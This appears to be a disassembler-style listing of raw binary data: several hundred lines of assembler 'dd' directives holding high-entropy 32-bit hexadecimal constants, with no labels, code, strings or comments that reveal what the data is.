dd 9512771Ch, 0A830544Ch, 83EB80h, 7B5BD7CEh, 0B1687CF6h
dd 1F66E8A0h
dd 80C0024Eh, 0BB7AD91h, 0A4D3ECBFh, 4013844h, 9A02D6E3h
dd 0A2E31D0Ah, 91C88721h, 77EC8399h, 8B1CA0E6h, 87B809E1h
dd 74879D84h, 0F0BFC566h, 6E4C4C50h, 0B4ED03B0h, 0E543E35Dh
dd 0CA26DC30h, 444D0006h, 46A7622Ch, 7F02CFEBh, 0DFE43EC3h
dd 95B0D09Ah, 0DCBEE810h, 0F984F400h, 0BFC3D845h, 2DFC3Ah
dd 0D3D9217Bh, 0C853370Ch, 8F647C9Eh, 22B438C3h, 20931818h
dd 0BE89C390h, 1500D4D9h, 55DF3E9Eh, 27190770h, 0B79FA0ADh
dd 4099E00Eh, 54B1CE53h, 9B02BF02h, 5B8C828Dh, 40F8D6E0h
dd 0B6268BB0h, 0B23CD80Eh, 43FC00Fh, 74C0A9h, 0D716ED0Bh
dd 97B3597Fh, 6C405E2Eh, 80AADD40h, 0D62F0356h, 47B462E1h
dd 9F3178B8h, 9639CA05h, 0BCE20B0Eh, 0F377CD0Eh, 0A55FB000h
dd 6A0E2F36h, 0E0A299ECh, 1C5C653h, 23A16B3h, 0D5D4A5D2h
dd 0C8226A9Ch, 35C010D8h, 0DC305B0Eh, 90B2935Dh, 0EC591800h
dd 8BE7D208h, 404C3E7Eh, 337D8080h, 1691CD60h, 0F0CA8C88h
dd 0B22FD81Ch, 8A181002h, 41AC005Eh, 0B16A04D9h, 3F38F32Dh
dd 0D3408E42h, 80B2B30Bh, 4C74AA07h, 60E1000Dh, 2001A164h
dd 0FDFE6D72h, 203E1B99h, 82C86AD0h, 502A3E00h, 8B3CEE86h
dd 0DD330B5Ah, 0FC738C24h, 69E76E02h, 0E6C4201Ch, 0C6F6FE2Ch
dd 6C88325Ah, 0F81A00AFh, 36BC6109h, 311E6933h, 0D1C13F35h
dd 0B4884DB5h, 0FE0550BFh, 8089B980h, 0B2BED8D3h, 914070BCh
dd 2155EECh, 0B5497360h, 92604205h, 243F22DDh, 4C0C8CDh
dd 0B777F77Ch, 5F0EA104h, 0A02F7200h, 12EAE9CAh, 0C0F135D0h
dd 0BEF6CED8h, 2036130Bh, 89AC4846h, 828D0038h, 853342DCh
dd 5448B5FCh, 0A8B97148h, 81C07E80h, 3CC34751h, 2F13641Ah
dd 0EE60A053h, 10608577h, 42F247D8h, 82252D9Ah, 0D5F08013h
dd 9E5AEC97h, 0D018E080h, 0FCE453h, 1089152Ah, 829A4C8Ah
dd 645CA100h, 67A5D7E3h, 8F5F0FD6h, 6A003087h, 0B503E011h
dd 0FFF1A600h, 76BE174Eh, 946E008Fh, 781ACD83h, 5E04D4BFh
dd 0E39F70F9h, 613EEC82h, 0F1102704h, 0C20F085Dh, 9334C4D5h
dd 0F900B8A2h, 4DFCB205h, 0BE1E645Ah, 0CE879D07h, 0D5871C92h
dd 832540B0h, 0A06726D4h, 0C47C0960h, 0D0E174E4h, 0AB3A99EDh
dd 9E7400DDh, 0AF2547F7h, 0E9D703F8h, 286BB2A0h, 0E7E08901h
dd 0E6AA6A2Ah, 1A64FC4h, 47D1ABA5h, 0EC7A2032h, 0C30B5191h
dd 0C1FF2FEAh, 64607CBCh, 7411880Fh, 60A8109Fh, 1EC00FCh
dd 0B8CF1618h, 0EB3A12BEh, 60B5A6E9h, 61240BEBh, 9819488h
dd 0D1D6ED93h, 6C82C4B3h, 0DB803896h, 0D724283Dh, 0B4E400EAh
dd 5E57C1EFh, 0F300BAFFh, 0D181A302h, 5CA174E1h, 6502CC28h
dd 55533203h, 6D164321h, 3794029h, 518DB667h, 0E3885F14h
dd 0E4E52E06h, 6D04FE13h, 0AAF1A2D0h, 0BA87D4ACh, 7024C0A3h
dd 0E300745Ch, 503E309Fh, 0DE4975h, 67BBA5B4h, 17BE98C7h
dd 0D08FC830h, 2DDC087h, 0B95FC1A1h, 30D9CB02h, 1082A511h
dd 0C4F68524h, 5C445745h, 58B8CD1Ah, 4403380h, 820E26FEh
dd 8036D619h, 0CB5752C8h, 0B06209CCh, 88005986h, 0BD79D23Eh
dd 835B1377h, 0EA6450C1h, 0F5C47300h, 9F12CF79h, 6CC849CDh
dd 27B1005Ch, 5DEA4F9Bh, 0CC004684h, 2CA55775h, 8A2F68D4h
dd 0DDCBC07Fh, 0C7530E9Ah, 0E6A0D645h, 5E6FFA3Bh, 16B00C07h
dd 77F0CC61h, 3008C79Fh, 0C59842DDh, 0C81486EEh, 9F8FB93h
dd 20993474h, 1230C0E0h, 5728CA8Ch, 0C18426E0h, 85DA2372h
dd 39C168C0h, 92289408h, 0CE74D047h, 5B010ADBh, 22FB9F1Dh
dd 0D940E3B2h, 26E64814h, 0BEC4602h, 8C906C31h, 1CE4D14Eh
dd 0E4835C00h, 0ACB03616h, 0AA5F1749h, 86A0338Dh, 9A4D3CB8h
dd 550ABC00h, 0AF76D590h, 692700CDh, 6E22FC17h, 1E2CCCBEh
dd 424A834h, 496C7780h, 4AE0151Bh, 4E88925h, 0C2878484h
dd 6E251CE0h, 259818C1h, 808871CAh, 2360D5DEh, 8B18E24h
dd 8735A300h, 3CE0E6D3h, 46065AA2h, 68F149F2h, 9082152Ch
dd 7C1C4438h, 0AE6A3052h, 612DA50h, 0AC910104h, 4C004A71h
dd 679F9B79h, 1B5AFF09h, 35D88161h, 2020C3DEh, 0B10B0F94h
dd 73E0FE1Dh, 2BC053F9h, 444C0A4h, 45F10CF0h, 84C02D5Ch
dd 59E0E401h, 7FA08B67h, 782C8DCDh, 0A4EBB1C0h, 574B8093h
dd 0F0834C0Bh, 0E0CA49F8h, 0D8844289h, 7E048071h, 0CCBC524Bh
dd 63152404h, 0A7A32487h, 6920027Ch, 0D502C301h, 744788DCh
dd 69E25D22h, 0CC3C8244h, 4AB7601h, 7A99D3E9h, 0E0577821h
dd 7205143Ch, 0FC017E41h, 0E8D18014h, 5B59E80h, 3B844202h
dd 90B29Dh, 0D63DEF52h, 30A00D26h, 949090DEh, 90BD33F1h
dd 0A7B1874h, 298A0B25h, 484111E8h, 4B27C038h, 3880BA74h
dd 9D011826h, 2E84B883h, 16C0F4A4h, 0C842C707h, 0DA91D0EDh
dd 316F4957h, 344D5600h, 6E139F04h, 0C50BE379h, 0E49C9071h
dd 63E639h, 8E8AC71Eh, 3B7F2E4Eh, 258E548h, 11222896h
dd 48F9D7h, 8A570402h, 87008348h, 65CC352Ah, 319F33Eh
dd 0C598B772h, 0E28CBD09h, 0FB58F4h, 0C8AD14C0h, 9D04B28Ah
dd 0F0992287h, 6FAAD50Ch, 0EC500317h, 0CB9B1001h, 846247E0h
dd 4809638h, 2C52E4BCh, 0AB1CDA69h, 0A3458DCBh, 0FCC940E8h
dd 0BE2C220h, 68941CB7h, 0CDAA8098h, 0A6028100h, 52541A0h
dd 58760E12h, 0AD625293h, 5CC6FEBCh, 82202339h, 0A230BEA9h
dd 0CF4C40F4h, 12BD3C65h, 8B24418Bh, 0E092EC59h, 4D75C0B3h
dd 8A81E8A0h, 113E8025h, 6010D071h, 98002202h, 2FD6A57Bh
dd 3DC629CAh, 0B88EB50Dh, 263BC0Bh, 314ADACFh, 3F1514C8h
dd 8D80668Eh, 3AB41BD2h, 411E0D5Bh, 12BB0F02h, 6C0F20A2h
dd 0DFA0D9E5h, 280C092h, 0C15C67DCh, 6B8B7840h, 0EF2880E5h
dd 1BCABC1Dh, 80F8B909h, 24F5E098h, 0E2008978h, 0F6F18E2Ah
dd 266C917h, 0B0FE1FF2h, 0B4987A25h, 0B9006C53h, 0DF991679h
dd 0EB9301h, 0AF509F03h, 87B4413Bh, 4EC07800h, 565CDDE4h
dd 0DCCB2805h, 332F4470h, 850AB200h, 55E071C9h, 0F78C1D3Ch
dd 4D01C004h, 9B800CACh, 73013894h, 5DBA338Ah, 1CF5730h
dd 0B0EBC9D7h, 3A6F64D2h, 0F1DF5820h, 12C7004Eh, 0A54C3E1Bh
dd 52000A59h, 63FDF78Ah, 16B17C17h, 8E9DBCh, 9E3C0BDCh
dd 5738E8CBh, 7A9F012Eh, 78DD1548h, 252Eh, 0AC66F7D2h
dd 64030F89h, 0D7CD2C1Ch, 0E129F371h, 202BF9B7h, 0E9098494h
dd 56551801h, 8F25E306h, 204A703Dh, 0FF728600h, 8A14007h
dd 0CB10D64Dh, 7EB483BAh, 0E38116B8h, 0EA0C00BFh, 0C06CA2D7h
dd 56FDE200h, 9B058FB6h, 0B589865h, 0B77CB2A6h, 87630C00h
dd 9E027817h, 75F85114h, 3EB06007h, 0D23D0B1Ch, 0E0C40AA1h
dd 9A4164Ch, 0E414E07Ch, 312700C0h, 0C10453DFh, 0B03F3570h
dd 0FC80003Bh, 1EAECF85h, 166901D5h, 0E18C27D8h, 80D42802h
dd 3031D76Fh, 1B6A00FBh, 0D46CA377h, 0C613A17Ch, 3C89CA53h
dd 2E86FECh, 0E0113C33h, 48C6496Eh, 0FE7D2DF6h, 0CFAD5918h
dd 0B6EE9C0h, 0C6D4D3E1h, 0CBA09C82h, 203568C1h, 0BF5C1D78h
dd 3C4122B4h, 0A312B29Dh, 1AE0B071h, 1061DF2Fh, 11F74Ch
dd 2181387Ah, 15E21BC4h, 6BC9EC1Dh, 97F00843h, 204B8A6Ch
dd 9215D00Eh, 574A1402h, 0E099035Bh, 4FD289F4h, 6790929Dh
dd 9CB71880h, 61130103h, 0CC88A82Dh, 77C100CFh, 95361023h
dd 0D90D7BCEh, 21448624h, 6CA4202Ah, 0C40EDC77h, 0C061F58Ah
dd 0FB0ACA42h, 6E1A1EC3h
dd 0E589C04Dh, 587F8AC9h, 0D73D1507h, 0E42F28FCh, 0CCB9D505h
dd 5BFF850Eh, 6DB8E7C2h, 24E04480h, 6B009B88h, 98F07E2Dh
dd 5AB66F32h, 83E80202h, 84C0274Eh, 4D4F2276h, 8C574C80h
dd 0B9E30D2h, 0BD928FF1h, 78A5016h, 386084B3h, 9EF4B373h
dd 1D247409h, 0CDF81861h, 7FD40793h, 576911FFh, 0DCF4C0B5h
dd 7001D229h, 4D88D5C3h, 0A8305C20h, 0D30C0246h, 0FCA2BBEEh
dd 56CFC80h, 0B75013A3h, 0D7068AF0h, 7798E3D3h, 0A0650130h
dd 0A182EE3Bh, 17787466h, 0CE2D7F76h, 2346491h, 0A19BACAEh
dd 0C0F68182h, 52C08640h, 966D0001h, 9AE96441h, 3E01B90h
dd 0C8079503h, 9475023Bh, 54593C87h, 8737C010h, 0C0B447C6h
dd 40620780h, 0DD133Bh, 819D9F75h, 0F91BD5F5h, 7595A02h
dd 5F09AE2Eh, 1F3BA760h, 0CD29D02h, 63B86164h, 4B9CE987h
dd 0D2C468B9h, 98CCA55Bh, 20A04ED3h, 0D1738FBCh, 52090FE0h
dd 82F31B25h, 2449983Ch, 8710AC5Dh, 0E6C0018Dh, 1D0C12C0h
dd 40AF537Eh, 935CE474h, 3476361Ch, 20C88FB7h, 0BE9FD47Ch
dd 977ED9h, 0A47E6C0Ah, 0BA8710C9h, 44D0B725h, 0A127006Ch
dd 0C30AC27Bh, 0FE1EA62Fh, 0F65D1282h, 1CC70FDCh, 0A72068D4h
dd 0A68C4D6Ah, 9062C7C0h, 376580F8h, 0D93D8A70h, 88CB8089h
dd 0AB295FFCh, 94334884h, 0C89DD0C0h, 0BF00D535h, 43D0A2Ah
dd 707EB8Ah, 9E8308E1h, 0C853B1D0h, 48226F24h, 62C9204Eh
dd 0FB2F7980h, 0ECA8E0FCh, 0EE2EFA6Ch, 52057923h, 0D20AF04Fh
dd 7D0CD22h, 7B55533Bh, 0CE6FA044h, 15BD0451h, 1DE5B0F0h
dd 0C191497Dh, 0AD9BA4EBh, 258ECC02h, 0EC30874Fh, 0C0446447h
dd 15CF3758h, 8F7C86BDh, 54ED4101h, 0CD02943Ch, 2860AC79h
dd 0D786EECAh, 78CF0E00h, 578ED4BDh, 17498CDh, 0EE0C0760h
dd 2E345B85h, 4824508Ch, 0EDC10482h, 8109E5D6h, 1773CFA1h
dd 85C5D01Ch, 622C30h, 0C907E9Fh, 45DB16BDh, 412F1DE8h
dd 4C5CC41Bh, 7900CACBh, 0B1ED9465h, 860BF91Ah, 0DA29A2h
dd 83ADE366h, 84109D1Eh, 773208CAh, 0E0A1BCD8h, 43E87FEh
dd 22BD5E50h, 8120A840h, 0E6164BD5h, 0B8C29DDFh, 40182BDDh
dd 0D000220Ah, 661D2A8Fh, 1D7DF9CCh, 15EA37Eh, 2343379h
dd 0D022C9h, 14D609B9h, 4E619FD1h, 3B44C894h, 76489900h
dd 0A65E441Ah, 0C78100E4h, 54CF1307h, 6B087815h, 4B852AFh
dd 64ACA08Bh, 0E0A002ABh, 0B0908525h, 3B16C368h, 0F4207450h
dd 0AE277Ch, 3C83B915h, 7612C9Ah, 0D18EE300h, 6EC7BA3Dh
dd 19D228B2h, 38379E8h, 0C35C87CDh, 702218E2h, 47464B22h
dd 722D23ECh, 7C5E39E5h, 0F9503F09h, 91BA008Ch, 1D730495h
dd 9913FC00h, 80CAC235h, 56D14A05h, 0BF1C8834h, 0DD04FDFAh
dd 0FA816E3Ah, 1D5C46C0h, 91C30027h, 0FFB52E41h, 0B7268BB9h
dd 5B0EB9A2h, 5FA18128h, 3C40CE53h, 0BE9500Dh, 0D8024857h
dd 0B6BEC810h, 9C906C4Bh, 9AB887h, 0EE26DFE2h, 9B584CA8h
dd 0C3161A7Ch, 0D430A1EAh, 0EF9E3404h, 2815E0F6h, 0D4442F10h
dd 22079466h, 8F4F1588h, 639FC0BEh, 9DF12B2h, 0E092785Ah
dd 0D10010E4h, 0F061651Eh, 2530BA53h, 0E0A3D302h, 0A8ED0CE3h
dd 7E261484h, 44834CE8h, 1679C9E8h, 2B16C1E0h, 6CF1C6A0h
dd 98800843h, 928ED20Dh, 8D6B1610h, 8BF88C6Ah, 70C66000h
dd 0E7161DDAh, 3BD92C98h, 536D0518h, 8AC0C263h, 80393471h
dd 0BDA28C77h, 46D198Eh, 8253E4AFh, 894A8E0h, 81CF02E3h
dd 0DE75B84Ch, 0EC243EC7h, 0A28A6480h, 54189D45h, 9C006C92h
dd 0A96ED1AEh, 56F7E58h, 0EFE09A28h, 0B1A0C1BEh, 4613D0BDh
dd 5E8000BEh, 8DD30936h, 73C02D2h, 85490C35h, 0ACD803C3h
dd 0D709A2EBh, 71CC02A3h, 0E1E11754h, 8C8D2EA4h, 2601E2Eh
dd 2E377E96h, 0F444450h, 687B2799h, 0C0A884A0h, 5C12E093h
dd 84C8D5E5h, 9BF5002Fh, 34E5EECh, 4A02BED3h, 88C483FCh
dd 80DEE1BAh, 0B128D82Ah, 0B598F700h, 3AC37786h, 8003974Fh
dd 80BC4716h, 0D2547BB4h, 0C953B413h, 0C60020F2h, 0EA16B8E4h
dd 0BF3391E9h, 3CB59086h, 0E84C65D8h, 8CB2816h, 0C08E4DCCh
dd 0BAB621DEh, 0D842EF22h, 63084036h, 64F908DFh, 888F1268h
dd 2AB5A137h, 207EC905h, 6B4B86Ch, 305C94A1h, 0D512B1C0h
dd 0F830D228h, 5EEB0Ch, 476187ADh, 636A12BDh, 0E95890BFh
dd 773B01D1h, 38882FBBh, 238470B6h, 0C0A8AB48h, 98FC6DB2h
dd 1AF027Eh, 79DE437Dh, 3D48DCh, 0F2D2E354h, 4512DDFh
dd 0C673A6EAh, 22A4FCB4h, 5E20F901h, 521E5C4Fh, 74DDBE28h
dd 91205E2h, 0F1370382h, 0E4202EA0h, 2A4744h, 342B18BFh
dd 92B7F6D1h, 0EA6D6A18h, 9E3538h, 0AE7ED4B1h, 56457053h
dd 66A040F7h, 0ECA31FE8h, 0A8853CFAh, 0F5B309CCh, 0AFA6742Eh
dd 31057050h, 464794D5h, 900754EDh, 2329F7F6h, 87B06A36h
dd 0DB00F878h, 244ECA5h, 9E0E9A8h, 0CB53AB08h, 5967187Ch
dd 1E24F1CBh, 0AD0D0787h, 90C8E423h, 52613F4h, 0D1EAE905h
dd 0D4B20F02h, 2DF7A507h, 869EF0E1h, 600CC04h, 0A41259DBh
dd 0BFB047FAh, 50A20002h, 1B046058h, 5C0CD3DFh, 608874B0h
dd 48D08C5h, 8F028582h, 0CD12F48Ch, 0E4DCC0EFh, 2438A8F8h
dd 324F00C5h, 0D8C74522h, 9A3A471Bh, 1088A797h, 717D2F0h
dd 0CC0CF5D6h, 9BE9D0AEh, 0C801C487h, 5304D9A5h, 216ABC17h
dd 0E83103E8h, 0BE00E69Ah, 0B6CAA41Dh, 4B8EA1EBh, 55B4C866h
dd 0B5928A00h, 0CAD7ED37h, 0D1E2007Ah, 58737C0Dh, 8809C9EAh
dd 68743E48h, 8BAFECh, 6FCFB2DBh, 0B494A09Bh, 4487862Ch
dd 5202E560h, 714D007Eh, 0CADB8D31h, 0F80B0AA2h, 83D1D5EFh
dd 0B0E69905h, 24463283h, 40346726h, 0FE8D92CAh, 0C231DC03h
dd 12DA957Bh, 0BC1DE928h, 0F3DB8F70h, 0C80E9D02h, 430456AEh
dd 0D8E0919Ah, 0A005CDE1h, 0E56413A1h, 90A2F800h, 91D0057Eh
dd 0E9E281F8h, 28E81F4h, 6224FEC8h, 0B8E20A3Ch, 3513F4CCh
dd 14007997h, 75284120h, 0D21281BDh, 0F6E7D440h, 0D1D3A301h
dd 0DD56DAC4h, 88D7F430h, 0BC969BD2h, 720C7140h, 0B148096Ch
dd 287C44FCh, 5F876E44h, 0EB910C20h, 0C05200EDh, 362460EEh
dd 0BCF8053Ch, 7343F498h, 9E49D900h, 0A8CA442h, 0B7396600h
dd 0DBE2E547h, 5CC52415h, 0D4EA00B0h, 8A45FC86h, 12601D59h
dd 980F7640h, 0CFA10483h, 8B8090B8h, 4614D12Ah, 0A24FD800h
dd 102E7F3Fh, 0DDAF39FDh, 7C93D20Ch, 60A8BA81h, 52009C8Bh
dd 0E04A3E70h, 25DD40h, 7F3918C9h, 279AD2Ch, 1D674C5Ch
dd 0CD00F815h, 3290AE75h, 600DF03Eh, 8F3511C0h, 7B6FBFD8h
dd 8CA48828h, 0CF087AE7h, 0F174F9F4h, 8FA22400h, 0AF4D9DE6h
dd 0C7C45CC0h, 314E428h, 94DA48E5h, 8EE08DD9h, 99005ACEh
dd 16952CE2h, 83757B14h, 36976003h, 9C9666h, 3D95DE11h
dd 2D9631Ch, 0D379641Fh, 5AB818FEh, 1EA3F91h, 2823FD7Dh
dd 0D82E4EF1h, 1514A5EBh, 1824797Bh, 9931C6B5h, 2E539058h
dd 621D38h, 92FD444Dh, 0A600806Eh, 0EC146C2Dh, 609CFB2Bh
dd 0D6B999F0h, 4303414Eh, 961527D0h, 7F590198h, 3F3CA4F3h
dd 325F6023h, 0EB30DA01h, 0FFFB5E6Bh, 0A54E4182h, 88A072E7h
dd 0A60A205h, 28737007h, 6AEC156Bh, 32420527h, 4FF44609h
dd 0AC22A458h, 61FDDAB7h, 985C6C97h, 596E6143h, 0DCA54414h
dd 0E8001115h, 0DA63C6FDh, 0CC1EE6Fh, 0FBF55ED7h, 0E7001039h
dd 0D4E9F0Ah, 18099C94h
dd 18C55321h, 491918B4h, 4F815CB5h, 0B8A2E3F2h, 17CF8EEh
dd 53262F95h, 0C8D112D9h, 3900F493h, 0BCB95A01h, 0F3F35E42h
dd 0DC2E6981h, 0C4E50B16h, 9801F561h, 0E77A5506h, 0ABE0F7CBh
dd 8CE452D3h, 9E049400h, 3E5073A1h, 19C07FF8h, 58DCE53Ch
dd 0FDFF00C6h, 81626336h, 0C700E920h, 85CFA02Eh, 0C3058E7h
dd 7DE47211h, 2100C639h, 0C805F368h, 609C857Ch, 0F98699FAh
dd 73013F58h, 0A7625F30h, 0A44D4797h, 0A8C4B5E0h, 366D80h
dd 0BCD49BF4h, 0F73C576Bh, 9FF43D50h, 0C4A89771h, 4F0002F6h
dd 0DCF27B69h, 83453h, 721B12B3h, 0C10EFF83h, 0F15E51C3h
dd 4D8924AFh, 113F0378h, 7C929613h, 0F89DEB60h, 1EC021C1h
dd 4E60ED68h, 0F76A00B4h, 9470887Ch, 44902D02h, 1609344h
dd 91A14FA5h, 0FCC8BAB5h, 0DE0C1E81h, 0D976E43Ch, 6A86C192h
dd 0CC3216CAh, 0F00C864h, 0E338454Fh, 0BF08955h, 0EF7A1C36h
dd 0E77B7700h, 2A1D5EA0h, 6201A53Ch, 23F110C4h, 4C9760h
dd 6F7E309Fh, 18A9E814h, 3A532700h, 2D15E4C1h, 767A18F1h
dd 0E97A18Bh, 0C32E9E00h, 8545A1D8h, 0F21F0035h, 96F4CF14h
dd 8E1F521Ch, 0F1243048h, 24A5509h, 43021364h, 0B8499478h
dd 0EACB8C10h, 0E0C78803h, 980DCA9Ah, 3192D7h, 0E7F80BCFh
dd 0DA2E13E9h, 0EC03E4F4h, 693D9424h, 7D43C8A1h, 2F4F00ADh
dd 4DF60DC1h, 57000532h, 0FB9E613h, 0EAF864h, 58C07E1Dh
dd 96787B6Fh, 51B581CFh, 0C079C81Fh, 0A1F4C9A4h, 46003394h
dd 89DA2D53h, 54E467E1h, 0CCBC7Ch, 33494FBFh, 8455F8Ah
dd 4C0E3BEEh, 8FD62B3Eh, 4D97E3DBh, 7A311274h, 5C71h, 5BFA0642h
dd 790096A5h, 0F938D4CDh, 3BFB7C9Fh, 331C4717h, 20929BC8h
dd 0D2A15780h, 0F638AA1Ch, 0BC231AC7h, 0E09FE0FEh, 0FB1FCFh
dd 0E4417F37h, 0C574D56Eh, 0D87EE70Ch, 7BAC41ADh, 7085E181h
dd 81286EFAh, 87A9D6DCh, 876D4721h, 787308ECh, 4083034Ah
dd 7BBEECD2h, 7D0A3900h, 8161494Ch, 9BA2064Eh, 409DCACDh
dd 41B0A500h, 6EE796D6h, 1FA70048h, 36DAD210h, 600062F9h
dd 4217B2FDh, 801235h, 72635FCBh, 2CF2343Eh, 0C0C0E67Ch
dd 692E07EFh, 0C5570347h, 7618ACA3h, 0CDC38101h, 902B4EB5h
dd 307E1530h, 0FC19338h, 1B90C474h, 59137209h, 0A418255h
dd 50E18105h, 22DF64C3h, 70007AD1h, 0C8371DE1h, 15DFE26h
dd 0AED4D284h, 80AF3811h, 0C90DCC59h, 0B3791BAh, 9D358A8Ch
dd 0E041DD00h, 2213BEC2h, 9300DBC8h, 391F2F38h, 56970083h
dd 497EA5F4h, 910015B0h, 19C933D7h, 1820B580h, 0E852B179h
dd 8350AC90h, 0EE00C270h, 81124E5Bh, 2FAEBF1h, 0FB3F420Eh
dd 1040B69Fh, 78394339h, 0F3A88218h, 2E9ACD7Eh, 80C404AAh
dd 708E3C09h, 7E00CCF8h, 0D113E06h, 4EE4F5h, 26C4748h
dd 17455C3Dh, 94016EF0h, 0AB28BF0Bh, 3FECED69h, 0FD9B04F9h
dd 9056A16Fh, 0C3626850h, 80DF7639h, 27E15770h, 7466A210h
dd 0F0196171h, 815FA1AFh, 31E0CC31h, 0BDC0F227h, 15E1C082h
dd 0BBB2A0FAh, 2962E200h, 0CF6F4458h, 0FF10016Eh, 21B5C996h
dd 0ED10204Ch, 0A39FF101h, 0E6C736AEh, 1B74C20h, 183442FEh
dd 3015D7D2h, 1E000C97h, 58F451CCh, 9195396Eh, 0EC050A78h
dd 59C0038Bh, 0C7A8BE57h, 20015EDh, 0B8229167h, 287BA7CFh
dd 800E0Ch, 1E0AF254h, 0CA188E16h, 0A1A89E54h, 94600F00h
dd 0B66E0654h, 39701883h, 0CB2369ABh, 92C60400h, 892FEB49h
dd 50A12A88h, 61B40084h, 0DC4807E3h, 4607BE77h, 0C3D9E556h
dd 0F6D01737h, 7F365Ch, 0A31CB449h, 4BB022E0h, 0FF9AD700h
dd 0B17599F8h, 0ACB601A6h, 2C563457h, 65998F94h, 8290A20h
dd 51B86601h, 215992Bh, 21BA9818h, 57B29880h, 88037655h
dd 0CAEF68E6h, 39290003h, 24F2B51Fh, 0B8060465h, 53C58310h
dd 0E53A0040h, 0DF810FA5h, 4037FB74h, 849018BDh, 0E3C7EEh
dd 50481547h, 6966077Ah, 7782AC12h, 9040D825h, 75AA3CEh
dd 8C2954F5h, 0A0905433h, 5E2C01E8h, 72E6C63Fh, 43A0F71Dh
dd 0B379848Fh, 730AD0E0h, 742A563Bh, 38371C05h, 98172002h
dd 0B9676087h, 39A41C4Ah, 47D207E1h, 6CDBA00Ah, 0CAF403E8h
dd 51419C65h, 49BFD680h, 4B830AA8h, 119C7273h, 0A716019Bh
dd 89BC42C4h, 4F2C980h, 2ADD92C2h, 0D3F4A400h, 916E3071h
dd 9DCB0DAAh, 42D9D17Eh, 1C831D3Ch, 19004DA0h, 0E51F326Dh
dd 16C91B1h, 95B49DF0h, 802F5636h, 3215A539h, 1255BC48h
dd 2128517Dh, 63FF0740h, 1CEB2614h, 6078661Dh, 0BF294521h
dd 5A310230h, 8916E180h, 0DC579B80h, 0F4A42A51h, 0CCBD52h
dd 9A4284D1h, 305A094Bh, 41981BEh, 0F61C15D6h, 0A6C658DFh
dd 147953A0h, 0D51F31BFh, 0B9325B0Eh, 7F302621h, 42062D5h
dd 0E8378352h, 858868C7h, 252E5670h, 6F1000ACh, 40E93CFDh
dd 0A0449E0Ah, 0A8003056h, 65DB2901h, 3F0803B2h, 41F9F835h
dd 560E94D8h, 3643157h, 6B7464E8h, 0EA2BD3E6h, 0BC44A0h
dd 0F85B1CFCh, 9AE8C7F6h, 0FB003676h, 0B4DFE7F9h, 6FCA1980h
dd 0DF5101h, 6467B8F5h, 66055CFBh, 0CB8C081Fh, 8C9AEC08h
dd 63310BCDh, 31FBE000h, 9AB4869Bh, 29D20067h, 6F328C78h
dd 1514991Dh, 0C0AC5CB1h, 571EEA20h, 4C0303DFh, 0A7DB7EFEh
dd 2270594Ch, 80100272h, 0B21642C8h, 0E297C468h, 6AFAC105h
dd 148887ACh, 8430017h, 0CCDBC64Bh, 490997ADh, 80713082h
dd 2DFBA564h, 0A96F3CACh, 0D5E2201h, 9807CA89h, 0E62EF7C1h
dd 98990EFFh, 39606D9Ch, 23C50450h, 6614CD50h, 2156221Eh
dd 0C1C8100h, 9248C41h, 93F0BB6Eh, 0D799FC07h, 48181037h
dd 0A12062D6h, 7779002Bh, 4A0ABB35h, 0F806EE1Dh, 0B8E4AB8Dh
dd 842903F6h, 6CBE54A6h, 13B6D105h, 4808B08h, 480A3FF4h
dd 52C0D8E9h, 0B5832489h, 75C76238h, 0C000F24Ch, 0BD11FE7Ch
dd 0B4200113h, 771E9409h, 2C06DC08h, 0CB0B705h, 68C00490h
dd 9854E18Ah, 50E605B4h, 0C1E31936h, 876866C4h, 0DF9490D0h
dd 0C104141h, 0C31E6E1h, 2C364400h, 60FE14A0h, 0A407B41Dh
dd 0BACD8018h, 6A67019Eh, 0F2FC5615h, 8006C46h, 0B55DA951h
dd 0FDE709h, 0CFCDADBBh, 2B403626h, 0EF64C73h, 80F4395Ch
dd 0DA812FB8h, 0DE5D001Ch, 0B1A7934Ch, 6602F8D6h, 4436F53Bh
dd 14A0E017h, 58E83907h, 71E2FEB9h, 0B8443151h, 3FB3814h
dd 764600E2h, 81194BD5h, 40C760DCh, 0E03B32CCh, 0A45F2500h
dd 3716314Eh, 6AF53010h, 1275EBD8h, 6ED5D200h, 0F4CA878Fh
dd 949250FAh, 286848A7h, 0CF8ED29h, 0EC1AE33h, 48E93100h
dd 0D7C8A203h, 2F7F013Ch, 5150C747h, 7E09C4B7h, 31A0D930h
dd 5FDC425h, 0EC07F170h, 0FC640201h, 0F4C017A8h, 5E60A136h
dd 0AEFB0619h, 0B0CB0425h, 434C9A50h, 0E80733B8h, 1162EE8h
dd 5F18864Ah, 32CDC39Ah, 0D01C00A4h, 1BB1E6D3h, 338D0995h
dd 0B420E00Ch, 7F6E0439h, 99A3D637h, 0EA1934C1h, 8A6D6860h
dd 23B79C00h, 38C0E365h, 0ADA88A2Fh, 28EF4C18h, 6CC21BC0h
dd 2D076AB9h, 26A96263h, 0A310560h, 64235856h, 0D301448Fh
dd 0EFF907BDh, 9938C918h, 3D6F81h, 700EC292h, 0F9FEFB0Ah
dd 9B72BA00h, 8062DF1Ch, 13934885h, 20A14F13h, 0FA5FBED4h
dd 0B2F98F00h, 0AA4481CFh, 99FB014Ch, 4863B925h, 0E6A6EC6Bh
dd 0C139F800h, 9D36965Ah, 79A76038h, 3BEC9FE8h, 197F1F15h
dd 10F84A48h
dd 0E5695500h, 0B635E198h, 300D9E4h, 4151C272h, 906D4912h
dd 75A40910h, 386BBDBCh, 60CD0C00h, 906F7367h, 55B098Fh
dd 0EC888CA4h, 0D3106088h, 8860BDCBh, 6F82C439h, 0AA290780h
dd 9073BC63h, 346269EDh, 53F39B02h, 52BD50E1h, 80200E8h
dd 0D4D337E8h, 0F21EC5CDh, 7F04EF82h, 5040A3DEh, 0CA04194Ch
dd 0AE00A0B1h, 96CBA8CCh, 22820035h, 0F082E61h, 0A09852E8h
dd 0DA83AF0Fh, 32F4h, 4E0E60E7h, 0F60712AAh, 0CD58325Ah
dd 7EBDDD01h, 0CC7C9180h, 2AF82754h, 9E8BD801h, 37064F91h
dd 0E460DBCDh, 88CD7841h, 0DD00581Ch, 0C5F5FAB9h, 1EC06FC3h
dd 0C05F421Bh, 3038835Ch, 334AF61Dh, 932AB420h, 62A30539h
dd 10107F0h, 0E8DA8048h, 347020C6h, 9580A091h, 0CCF63878h
dd 18D90A39h, 0F40CAE3h, 64A0B188h, 0AE68A18Fh, 9D2BD83Ch
dd 0C944B30Ah, 0D8C8BDB7h, 0C24500C3h, 7570A1C4h, 9A02A215h
dd 5613CFEEh, 0CC288829h, 0A7B71F60h, 1BEE850h, 0E8D686D0h
